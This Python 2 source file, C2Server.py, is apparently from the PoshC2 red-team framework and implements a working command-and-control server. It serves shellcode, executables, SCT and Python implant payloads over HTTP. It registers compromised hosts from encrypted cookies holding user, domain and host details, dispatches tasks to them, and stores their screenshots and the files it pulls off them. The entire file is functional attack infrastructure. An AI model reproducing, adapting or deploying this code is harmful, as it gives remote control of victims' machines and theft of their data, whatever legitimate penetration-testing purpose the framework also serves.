PoshC2_Python/C2Server.py

#!/usr/bin/env python

import argparse, os, sys, re, datetime, time, base64, BaseHTTPServer, re, logging, ssl, signal

from Implant import *
from Tasks import *
from Core import *
from Colours import *
from Help import *
from DB import *
from Payloads import *
from Config import *
from Cert import *
from Help import *

class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):

    def signal_handler(signal, frame):
      sys.exit(0)

    signal.signal(signal.SIGINT, signal_handler)

    def log_message(self, format, *args):
      try:
        useragent = str(self.headers['user-agent'])
      except Exception as e:
        useragent = "None"
      
      open("%swebserver.log" % ROOTDIR, "a").write("%s - [%s] %s %s\n" %
              (self.address_string(),self.log_date_time_string(),format%args, useragent))


    def do_HEAD(s):
        """Respond to a HEAD request."""
        s.server_version = ServerHeader
        s.sys_version = ""
        s.send_response(200)
        s.send_header("Content-type", "text/html")
        s.end_headers()

    def do_GET(s):
        """Respond to a GET request."""
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(s.path), str(s.headers))
        new_implant_url = get_newimplanturl()
        s.cookieHeader = s.headers.get('Cookie')
        QuickCommandURI = select_item("QuickCommand", "C2Server")
        s.server_version = ServerHeader
        s.sys_version = ""
        if s.cookieHeader:
          r = ""
        else:
           s.cookieHeader = "NONE"
        # class Tasks()
        
        # implant gets a new task
        new_task = newTask(s.path)

        if new_task:
          s.send_response(200)
          s.send_header("Content-type", "text/html")
          s.end_headers()
          s.wfile.write(new_task)

        elif ("%s_bs" % QuickCommandURI) in s.path:
          filename = "%spayload.bat" % (PayloadsDirectory)
          with open(filename, 'rb') as f:
            content = f.read()
          s.send_response(200)
          s.send_header("Content-type", "text/html")
          s.end_headers()
          s.wfile.write(content)

        elif ("%s_rg" % QuickCommandURI) in s.path:
          filename = "%srg_sct.xml" % (PayloadsDirectory)
          with open(filename, 'rb') as f:
            content = f.read()
          s.send_response(200)
          s.send_header("Content-type", "text/html")
          s.end_headers()
          s.wfile.write(content)

        elif ("%spotal" % QuickCommandURI) in s.path:
          filename = "%sSharp-shellcode_x86.bin" % (PayloadsDirectory)
          with open(filename, 'rb') as f:
            content = f.read()
          content = base64.b64encode(content)
          s.send_response(200)
          s.send_header("Content-type", "text/html")
          s.end_headers()
          s.wfile.write(content)

        elif ("%slogin" % QuickCommandURI) in s.path:
          filename = "%sSharp-shellcode_x64.bin" % (PayloadsDirectory)
          with open(filename, 'rb') as f:
            content = f.read()
          content = base64.b64encode(content)
          s.send_response(200)
          s.send_header("Content-type", "text/html")
          s.end_headers()
          s.wfile.write(content)

        elif ("%s_cs" % QuickCommandURI) in s.path:
          filename = "%scs_sct.xml" % (PayloadsDirectory)
          with open(filename, 'rb') as f:
            content = f.read()
          s.send_response(200)
          s.send_header("Content-type", "text/html")
          s.end_headers()
          s.wfile.write(content)

        elif ("%s_py" % QuickCommandURI) in s.path:
          filename = "%saes.py" % (PayloadsDirectory)
          with open(filename, 'rb') as f:
            content = f.read()
            content = "a"+"".join("{:02x}".format(ord(c)) for c in content)
          s.send_response(200)
          s.send_header("Content-type", "text/plain")
          s.end_headers()
          s.wfile.write(content)

        elif ("%s_ex" % QuickCommandURI) in s.path:
          filename = "%sPosh32.exe" % (PayloadsDirectory)
          with open(filename, 'rb') as f:
            content = f.read()
          s.send_response(200)
          s.send_header("Content-type", "application/x-msdownload")
          s.end_headers()
          s.wfile.write(content)

        elif ("%s_ex6" % QuickCommandURI) in s.path:
          filename = "%sPosh64.exe" % (PayloadsDirectory)
          with open(filename, 'rb') as f:
            content = f.read()
          s.send_response(200)
          s.send_header("Content-type", "application/x-msdownload")
          s.end_headers()
          s.wfile.write(content)
        # class Implant()
        # register new implant
        elif new_implant_url in s.path and s.cookieHeader.startswith("SessionID"):
          implant_type = "Normal"
          if s.path == ("%s?p" % new_implant_url):
            implant_type = "Proxy"
          if s.path == ("%s?d" % new_implant_url):
            implant_type = "Daisy"
          if s.path == ("%s?m" % new_implant_url):
            implant_type = "OSX"
          if s.path == ("%s?c" % new_implant_url):
            implant_type = "C#"
          if s.path == ("%s?p?c" % new_implant_url):
            implant_type = "C#"
                      
          if implant_type == "C#":
            cookieVal = (s.cookieHeader).replace("SessionID=","")
            decCookie = decrypt(KEY, cookieVal)
            IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
            Domain,User,Hostname,Arch,PID,Proxy = decCookie.split(";")
            user = User.decode("utf-8")
            if "\\" in user:
              user = user[user.index("\\") + 1:]
            newImplant = Implant(IPAddress, implant_type, Domain.decode("utf-8"), user, Hostname.decode("utf-8"), Arch, PID, Proxy)
            newImplant.save()
            newImplant.display()
            responseVal = encrypt(KEY, newImplant.SharpCore)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(responseVal)
            
          elif implant_type == "OSX":
            cookieVal = (s.cookieHeader).replace("SessionID=","")
            decCookie = decrypt(KEY, cookieVal)
            IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
            User,Domain,Hostname,Arch,PID,Proxy = decCookie.split(";")
            newImplant = Implant(IPAddress, implant_type, Domain.decode("utf-8"), User.decode("utf-8"), Hostname.decode("utf-8"), Arch, PID, Proxy)
            newImplant.save()
            newImplant.display()
            responseVal = encrypt(KEY, newImplant.PythonCore)

            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(responseVal)
          else:
            try:
              cookieVal = (s.cookieHeader).replace("SessionID=","")
              decCookie = decrypt(KEY, cookieVal)
              Domain,User,Hostname,Arch,PID,Proxy = decCookie.split(";")
              IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
              user = User.decode("utf-8")
              if "\\" in user:
                user = user[user.index('\\') + 1:]
              newImplant = Implant(IPAddress, implant_type, Domain.decode("utf-8"),user, Hostname.decode("utf-8"), Arch, PID, Proxy)
              newImplant.save()
              newImplant.display()
              newImplant.autoruns()
              responseVal = encrypt(KEY, newImplant.C2Core)

              s.send_response(200)
              s.send_header("Content-type", "text/html")
              s.end_headers()
              s.wfile.write(responseVal)
            except Exception as e:
              print ("Decryption error: %s" % e)
              s.send_response(404)
              s.send_header("Content-type", "text/html")
              s.end_headers()
              s.wfile.write(HTTPResponse)
        else:
          s.send_response(404)
          s.send_header("Content-type", "text/html")
          s.end_headers()
          HTTPResponsePage = select_item("HTTPResponse", "C2Server")
          if HTTPResponsePage:
            s.wfile.write(HTTPResponsePage)
          else:
            s.wfile.write(HTTPResponse)

    def do_POST(s):
        """Respond to a POST request."""
        try:
          s.server_version = ServerHeader
          s.sys_version = ""
          content_length = int(s.headers['Content-Length'])
          s.cookieHeader = s.headers.get('Cookie')
          cookieVal = (s.cookieHeader).replace("SessionID=","")
          post_data = s.rfile.read(content_length)
          logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(s.path), str(s.headers), post_data)
          now = datetime.datetime.now()
          result = get_implants_all()
          for i in result:
            implantID = i[0]
            RandomURI = i[1]
            Hostname = i[3]
            encKey = i[5]
            Domain = i[11]
            User = i[2]
            if RandomURI in s.path and cookieVal:
              update_implant_lastseen(now.strftime("%m/%d/%Y %H:%M:%S"),RandomURI)
              decCookie = decrypt(encKey, cookieVal)
              if decCookie.startswith("Error"):
                print (Colours.RED)
                print ("The multicmd errored: ")
                print (decrypt_bytes_gzip(encKey, post_data[1500:]))
                print (Colours.GREEN)
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(default_response())
                return
              taskId = str(int(decCookie.strip('\x00')))
              taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
              executedCmd = get_cmd_from_task_id(taskId)
              task_owner = get_task_owner(taskId)
              print (Colours.GREEN)
              if task_owner is not None:
                print ("Task %s (%s) returned against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, task_owner, implantID, Domain, User, Hostname,now.strftime("%m/%d/%Y %H:%M:%S")))
              else:
                print ("Task %s returned against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, implantID, Domain, User, Hostname,now.strftime("%m/%d/%Y %H:%M:%S")))
              #print decCookie,Colours.END
              rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
              outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput)
              outputParsed = outputParsed.rstrip()

              if "loadmodule" in executedCmd:
                print ("Module loaded sucessfully")
                update_task(taskId, "Module loaded sucessfully")
              elif "get-screenshot" in executedCmd.lower() or "screencapture" in executedCmd.lower():
                try:
                  decoded = base64.b64decode(outputParsed)
                  filename = i[3] + "-" + now.strftime("%m%d%Y%H%M%S_"+randomuri())
                  output_file = open('%s%s.png' % (DownloadsDirectory,filename), 'wb')
                  print ("Screenshot captured: %s%s.png" % (DownloadsDirectory,filename))
                  update_task(taskId, "Screenshot captured: %s%s.png" % (DownloadsDirectory,filename))
                  output_file.write(decoded)
                  output_file.close()
                except Exception as e:
                  update_task(taskId, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!")
                  print ("Screenshot not captured, the screen could be locked or this user does not have access to the screen!")
              # What should this be now?
              elif (executedCmd.lower().startswith("$shellcode64")) or (executedCmd.lower().startswith("$shellcode64")): 
                update_task(taskId, "Upload shellcode complete") 
                print ("Upload shellcode complete")
              elif (executedCmd.lower().startswith("run-exe core.program core inject-shellcode")):
                update_task(taskId, "Upload shellcode complete")
                print (outputParsed)
              elif "download-file" in executedCmd.lower():
                try:
                  rawoutput = decrypt_bytes_gzip(encKey, (post_data[1500:]))
                  filename = executedCmd.lower().replace("download-file ","")
                  filename = filename.replace("-source ","")
                  filename = filename.replace("..","")
                  filename = filename.replace("'","")
                  filename = filename.replace('"',"")
                  filename = filename.rsplit('/', 1)[-1]
                  filename = filename.rsplit('\\', 1)[-1]
                  filename = filename.rstrip('\x00')
                  original_filename = filename
                  if rawoutput.startswith("Error"):
                    print("Error downloading file: ")
                    print rawoutput
                  else:
                    chunkNumber = rawoutput[:5]
                    totalChunks = rawoutput[5:10]
                    if (chunkNumber == "00001") and os.path.isfile('%s/downloads/%s' % (ROOTDIR,filename)):
                      counter = 1
                      while(os.path.isfile('%s/downloads/%s' % (ROOTDIR,filename))):
                        if '.' in filename:
                          filename = original_filename[:original_filename.rfind('.')] + '-' +  str(counter) + original_filename[original_filename.rfind('.'):]
                        else:
                          filename = original_filename + '-' +  str(counter)
                        counter+=1
                    if (chunkNumber != "00001"):
                      counter = 1
                      if not os.path.isfile('%s/downloads/%s' % (ROOTDIR,filename)):
                        print("Error trying to download part of a file to a file that does not exist: %s" % filename)
                      while(os.path.isfile('%s/downloads/%s' % (ROOTDIR,filename))):
                        # First find the 'next' file would be downloaded to
                        if '.' in filename:
                          filename = original_filename[:original_filename.rfind('.')] + '-' +  str(counter) + original_filename[original_filename.rfind('.'):]
                        else:
                          filename = original_filename + '-' +  str(counter)
                        counter+=1
                      if counter != 2:
                        # Then actually set the filename to this file - 1 unless it's the first one and exists without a counter
                        if '.' in filename:
                          filename = original_filename[:original_filename.rfind('.')] + '-' +  str(counter) + original_filename[original_filename.rfind('.'):]
                        else:
                          filename = original_filename + '-' +  str(counter)
                      else:
                        filename = original_filename
                    print ("Download file part %s of %s to: %s" % (chunkNumber,totalChunks,filename))
                    update_task(taskId, "Download file part %s of %s to: %s" % (chunkNumber,totalChunks,filename))
                    output_file = open('%s/downloads/%s' % (ROOTDIR,filename), 'a')
                    output_file.write(rawoutput[10:])
                    output_file.close()
                except Exception as e:
                  update_task(taskId, "Error downloading file %s " % e)
                  print ("Error downloading file %s " % e)
                
              else:
                update_task(taskId, outputParsed)
                print (Colours.GREEN)
                print (outputParsed + Colours.END)
        except Exception as e:
          e = ""
          # print e
          # traceback.print_exc()
          
        finally:
          s.send_response(200)
          s.send_header("Content-type", "text/html")
          s.end_headers()
          s.wfile.write(default_response())

if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
    try:
      if os.name == 'nt':
        os.system('cls')
      else:
        os.system('clear')
    except Exception as e:
      print ("cls")
    print (chr(27) + "[2J")
    print (Colours.GREEN + logopic)
    print (Colours.END + "")

    # KeyFile = None, CertFile = None, ClientCertCAs = None
    if os.path.isfile(Database):
      print ("Using existing database / project" + Colours.GREEN)
      C2 = get_c2server_all()
      if (C2[1] == HostnameIP):
        qstart = "%squickstart.txt" % (ROOTDIR)
        if os.path.exists(qstart):
          with open(qstart, 'rb') as f:
            print (f.read())
      else:
        print ("Error different IP so regenerating payloads")
        if os.path.exists("%spayloads_old" % ROOTDIR):
          import shutil
          shutil.rmtree("%spayloads_old" % ROOTDIR)
        os.rename("%spayloads" % ROOTDIR, "%spayloads_old" % ROOTDIR)
        os.makedirs("%spayloads" % ROOTDIR)
        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], HostnameIP, C2[3], C2[8], C2[12],
        C2[13], C2[11], "", "", C2[19], C2[20],C2[21], get_newimplanturl(), PayloadsDirectory)
        new_urldetails( "updated_host", HostnameIP, C2[3], "", "", "", "" )
        update_item("HostnameIP", "C2Server", HostnameIP)
        update_item("QuickCommand", "C2Server", QuickCommand)
        newPayload.CreateRaw()
        newPayload.CreateDlls()
        newPayload.CreateShellcode()
        newPayload.CreateSCT()
        newPayload.CreateHTA()
        newPayload.CreateCS()
        newPayload.CreateMacro()
        newPayload.CreateEXE()
        newPayload.CreateMsbuild()
        newPayload.CreatePython()
        newPayload.WriteQuickstart( ROOTDIR + 'quickstart.txt' )

    else:
      print ("Initializing new project folder and database" + Colours.GREEN)
      print ("")
      directory = os.path.dirname(ROOTDIR)
      if not os.path.exists(directory):
        os.makedirs(directory)
        os.makedirs("%s/downloads" % directory)
        os.makedirs("%s/reports" % directory)
        os.makedirs("%s/payloads" % directory)
      initializedb()
      if not validate_sleep_time(DefaultSleep):
        print(Colours.RED)
        print("Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h")
        print(Colours.GREEN)
        sys.exit(1)
      setupserver(HostnameIP,gen_key(),DomainFrontHeader,DefaultSleep,KillDate,HTTPResponse,ROOTDIR,ServerPort,QuickCommand,DownloadURI,"","","",Sounds,APIKEY,MobileNumber,URLS,SocksURLS,Insecure,UserAgent,Referer,APIToken,APIUser,EnableNotifications)
      rewriteFile = "%s/rewrite-rules.txt" % directory
      print "Creating Rewrite Rules in: " + rewriteFile
      print ""
      rewriteHeader=["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off","# Change IPs to point at C2 infrastructure below","Define PoshC2 10.0.0.1", "Define SharpSocks 10.0.0.1"]
      rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules() + urlConfig.fetchSocksRewriteRules()
      with open(rewriteFile,'w') as outFile:
        for line in rewriteFileContents:
          outFile.write(line)
          outFile.write('\n')
        outFile.close()


      C2 = get_c2server_all()
      newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
        C2[13], C2[11], "", "", C2[19], C2[20],
        C2[21], get_newimplanturl(), PayloadsDirectory)

      new_urldetails( "default", C2[1], C2[3], "", "", "", "" )
      newPayload.CreateRaw()
      newPayload.CreateDlls()
      newPayload.CreateShellcode()
      newPayload.CreateSCT()
      newPayload.CreateHTA()
      newPayload.CreateCS()
      newPayload.CreateMacro()
      newPayload.CreateEXE()
      newPayload.CreateMsbuild()

      create_self_signed_cert(ROOTDIR)
      newPayload.CreatePython()
      newPayload.WriteQuickstart( directory + '/quickstart.txt' )

    print ("")
    print ("CONNECT URL: "+select_item("HostnameIP", "C2Server")+get_newimplanturl() + Colours.GREEN)
    print ("WEBSERVER Log: %swebserver.log" % ROOTDIR)
    KEY = get_baseenckey()
    print ("")
    print (time.asctime() + "PoshC2 Server Started - %s:%s" % (HOST_NAME, PORT_NUMBER))
    print (Colours.END)

    if (os.path.isfile("%sposh.crt" % ROOTDIR)) and (os.path.isfile("%sposh.key" % ROOTDIR)):
      try:
        httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLS)
      except Exception as e:
        httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1)
    else:
      raise ValueError("Cannot find the certificate files")
    #logging.basicConfig(level=logging.WARNING) # DEBUG,INFO,WARNING,ERROR,CRITICAL

    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print (time.asctime() + "PoshC2 Server Stopped - %s:%s" % (HOST_NAME, PORT_NUMBER))